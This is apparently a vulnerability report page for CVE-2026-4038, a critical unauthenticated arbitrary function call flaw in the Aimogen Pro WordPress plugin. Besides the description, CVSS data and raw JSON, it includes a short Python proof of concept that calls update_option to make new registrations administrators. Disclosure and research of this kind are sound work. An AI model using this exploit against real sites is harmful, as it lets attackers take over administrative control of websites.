Security Vulnerability Report
中文
CVE-2026-4038 CVSS 9.8 CRITICAL

CVE-2026-4038

Published: 2026-03-20 04:16:50
Last Modified: 2026-04-22 21:32:08

Description

The Aimogen Pro plugin for WordPress is vulnerable to Arbitrary Function Call that can lead to privilege escalation due to a missing capability check on the 'aiomatic_call_ai_function_realtime' function in all versions up to, and including, 2.7.5. This makes it possible for unauthenticated attackers to call arbitrary WordPress functions such as 'update_option' to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Aimogen Pro <= 2.7.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # PoC for CVE-2026-4038 # Target: WordPress Aimogen Pro Plugin <= 2.7.5 target_url = "http://example.com/wp-admin/admin-ajax.php" # Step 1: Enable user registration and set default role to administrator payload_params = { "action": "aiomatic_call_ai_function_realtime", "function_name": "update_option", "params": ["default_role", "administrator"] } # Send exploit request try: response = requests.post(target_url, data=payload_params) if response.status_code == 200: print("[+] Payload sent successfully. Default role likely changed.") print("[+] Attacker can now register as an administrator.") else: print("[-] Request failed.") except Exception as e: print(f"[Error] {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4038", "sourceIdentifier": "[email protected]", "published": "2026-03-20T04:16:50.300", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Aimogen Pro plugin for WordPress is vulnerable to Arbitrary Function Call that can lead to privilege escalation due to a missing capability check on the 'aiomatic_call_ai_function_realtime' function in all versions up to, and including, 2.7.5. This makes it possible for unauthenticated attackers to call arbitrary WordPress functions such as 'update_option' to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site."}, {"lang": "es", "value": "El plugin Aimogen Pro para WordPress es vulnerable a la llamada arbitraria de funciones que puede conducir a la escalada de privilegios debido a una comprobación de capacidad ausente en la función 'aiomatic_call_ai_function_realtime' en todas las versiones hasta la 2.7.5, inclusive. Esto permite a atacantes no autenticados llamar a funciones arbitrarias de WordPress, como 'update_option', para actualizar el rol predeterminado de registro a administrador y habilitar el registro de usuarios para que los atacantes obtengan acceso de usuario administrativo a un sitio vulnerable."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://codecanyon.net/item/aimogen-pro-allinone-ai-content-writer-editor-chatbot-automation-toolkit/38877369", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b3e45a17-cb41-41ba-ab6c-c83202f0ecfd?source=cve", "source": "[email protected]"}]}}